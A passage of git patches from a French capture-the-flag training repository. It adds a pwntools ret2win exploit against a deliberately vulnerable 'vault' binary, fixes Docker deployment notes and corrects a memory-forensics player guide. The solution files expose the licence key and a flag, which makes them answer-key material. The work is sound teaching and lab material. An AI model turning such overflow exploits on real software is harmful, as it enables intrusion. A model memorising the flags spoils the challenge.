+LICENSE = b"unl0ck_th3_v4ult" + +elf = ELF("./vault") +vault_addr = elf.symbols["vault"] +ret_gadget = next(elf.search(asm("ret"), executable=True)) +log.info("vault() @ %#x", vault_addr) +log.info("ret gadget @ %#x", ret_gadget) + +io = remote(HOST, PORT) + +# --- Etape 1 : licence recuperee par reverse --- +io.sendlineafter(b"licence > ", LICENSE) +io.recvuntil(b"flag 1): ") +flag1 = io.recvline().strip().decode() +log.success("Flag 1 : %s", flag1) + +# --- Etape 2 : ret2win --- +payload = b"A" * 72 # 64 (buf) + 8 (rbp sauvegarde) +payload += p64(ret_gadget) # alignement de pile +payload += p64(vault_addr) # detournement vers vault() +io.sendlineafter(b"Commande > ", payload) + +io.recvuntil(b"flag 2: ") +flag2 = io.recvline().strip().decode() +log.success("Flag 2 : %s", flag2) + +io.close() From aa03c83dd2432dd7024961919b2ef79724715dc5 Mon Sep 17 00:00:00 2001 From: Jakub WERLINSKI Date: Mon, 20 Jul 2026 01:43:59 +0200 Subject: [PATCH 2/3] =?UTF-8?q?docs(3-Red-Team-Binary-Vault):=20notes=20de?= =?UTF-8?q?=20d=C3=A9ploiement=20Docker=20+=20validation=20en=20conteneur?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Marque le challenge validé bout-en-bout en conteneur (build OK, 2 flags). - Documente les pièges de déploiement : Compose v1/v2 (nom docker-compose sur Kali/Debian), droits Docker (sudo si hors groupe docker), méthode build/run sans Compose. Co-Authored-By: Claude Opus 4.8 --- .../docs/ADMIN_DEPLOYMENT.md | 24 +++++++++++++++++-- .../solution/SOLUTION.md | 2 +- 2 files changed, 23 insertions(+), 3 deletions(-) diff --git a/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md b/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md index 73644fe..5e01604 100644 --- a/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md +++ b/challenges/3-Red-Team-Binary-Vault/docs/ADMIN_DEPLOYMENT.md @@ -12,19 +12,39 @@ Les secrets (licence, flags) sont générés au build par `setup/gen_secret.py` et **ne sont pas embarqués** dans le binaire (lus depuis `/challenge/flag*.txt` au runtime). `strings vault` ne révèle donc rien. +> ✅ **Validé bout-en-bout en conteneur Docker le 20/07/2026** : build OK, +> service accessible sur 9003, exploit `solution/exploit.py` récupère les 2 flags. + +## Prérequis / pièges courants + +- **Compose v1 vs v2** : `docker compose` (avec espace) n'existe qu'avec le plugin v2. + Sur Kali/Debian, le paquet `docker-compose` (2.40.x) fournit la commande + **`docker-compose`** (avec tiret). Si `docker compose up --build` renvoie + `unknown flag: --build`, utilisez `docker-compose` ou la méthode build/run manuelle ci-dessous. +- **Droits Docker** : si le user n'est pas dans le groupe `docker`, préfixer chaque + commande par `sudo` (sinon `permission denied ... /var/run/docker.sock`). + ## Build & test local ```bash cd challenges/3-Red-Team-Binary-Vault -docker compose up --build -d +docker-compose up --build -d # ou : docker compose up --build -d (plugin v2) # le service écoute sur le port 9003 nc 127.0.0.1 9003 ``` +Sans Compose (marche partout) : + +```bash +docker build -t rt3-vault . +docker run -d -p 9003:9003 --name rt3-vault rt3-vault +``` + Test automatique de la solution : ```bash -# extraire le binaire de l'image (voir plus bas) dans solution/, puis : +# extraire le binaire de l'image dans solution/, puis lancer l'exploit : +docker cp rt3-vault:/challenge/vault solution/vault cd solution && python3 exploit.py 127.0.0.1 9003 ``` diff --git a/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md b/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md index 69601b4..2750c96 100644 --- a/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md +++ b/challenges/3-Red-Team-Binary-Vault/solution/SOLUTION.md @@ -68,4 +68,4 @@ Sortie attendue : [+] Flag 2 : RM{r3t2w1n_l4_v4ult_3st_0uv3rt3} ``` -> Testé et validé le 20/07/2026 : chaîne complète fonctionnelle (offset 72, gadget `ret` pour l'alignement, ret2win vers `vault`). +> Testé et validé le 20/07/2026, **en conteneur Docker** : build OK, chaîne complète fonctionnelle (offset 72, gadget `ret` pour l'alignement, ret2win vers `vault` @ `0x401334`). Les 2 flags sont récupérés par `exploit.py`. From 4325584d3c8417f6d34d6f3b4de53e917088d949 Mon Sep 17 00:00:00 2001 From: Jakub WERLINSKI Date: Mon, 20 Jul 2026 02:04:08 +0200 Subject: [PATCH 3/3] docs(2-Blue-Team-Memory-Forensics): corriger l'outil d'analyse dans le guide joueur MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Le guide recommandait le vrai Volatility 3 (vol.py) et strings système, or : - le dump est un format pédagogique maison que le vrai Volatility ne lit pas - le flag est encodé et n'apparaît pas via un strings classique Le guide pointe désormais vers l'outil fourni tools/vol_analyzer.py (mini- Volatility) avec la syntaxe et les commandes windows.* réellement disponibles. Vérifié en local : chemin d'analyse complet -> validateur 100/100. Co-Authored-By: Claude Opus 4.8 --- .../docs/USER_GUIDE.md | 38 ++++++++++++++----- 1 file changed, 29 insertions(+), 9 deletions(-) diff --git a/challenges/2-Blue-Team-Memory-Forensics/docs/USER_GUIDE.md b/challenges/2-Blue-Team-Memory-Forensics/docs/USER_GUIDE.md index 2e54c81..4c0e31f 100644 --- a/challenges/2-Blue-Team-Memory-Forensics/docs/USER_GUIDE.md +++ b/challenges/2-Blue-Team-Memory-Forensics/docs/USER_GUIDE.md @@ -15,19 +15,39 @@ Analyser un dump mémoire Windows compromis pour identifier le processus malveil http://:8000/hints.txt ``` -## Outils recommandés (sur votre machine) -- **Volatility3** — analyse du dump mémoire (`vol.py`) -- **strings** — extraction de chaînes depuis un binaire -- **Wireshark** — analyse du PCAP réseau -- Ghidra / Radare2 (optionnel, pour l'analyse binaire avancée) +## Outils d'analyse + +> ⚠️ **Important** : le dump `memory.dmp` est dans un **format pédagogique dédié à ce +> challenge**, pas une image mémoire brute standard. Le vrai Volatility 3 (`vol.py`) ne +> sait pas le lire, et un `strings` classique ne révèle pas le flag (il est encodé). +> Utilisez l'**outil fourni dans le conteneur** : `tools/vol_analyzer.py` (un +> « mini‑Volatility » qui reproduit les commandes `windows.*` sur ce format). + +Depuis le terminal du challenge (ou après avoir récupéré les fichiers du dépôt) : + +```bash +# Syntaxe générale +python3 tools/vol_analyzer.py -f challenge/memory.dmp + +# Commandes disponibles : +# windows.info windows.pslist windows.pstree windows.netscan +# windows.malfind windows.dlllist windows.handles windows.dumpfiles +# windows.strings windows.registry +``` + +Outils complémentaires : +- **`tools/extract_strings.py`** — extraction/décodage des chaînes du binaire extrait. +- **Wireshark / `tshark`** — analyse du PCAP réseau (`network_capture.pcap`) pour l'étape bonus. ## Piste de résolution -1. Listez les processus (`pslist` / `pstree`) et cherchez un nom ou une hiérarchie suspecte. +Toutes les commandes ci-dessous se lancent via `python3 tools/vol_analyzer.py -f challenge/memory.dmp `. + +1. `windows.pslist` / `windows.pstree` — cherchez un nom ou une hiérarchie suspecte. 2. Identifiez le processus suspect en regardant son PPID et sa session. -3. Vérifiez les connexions réseau (`netscan`) associées à ce PID. -4. Recherchez de l'injection mémoire (`malfind`). -5. Extrayez et analysez les strings du binaire malveillant. +3. `windows.netscan` — vérifiez les connexions réseau associées à ce PID. +4. `windows.malfind` — recherchez de l'injection mémoire. +5. `windows.strings --pid ` (ou `tools/extract_strings.py`) — extrayez et analysez les chaînes du binaire malveillant. 6. Récupérez le flag caché dans la configuration du malware. ## Format du flag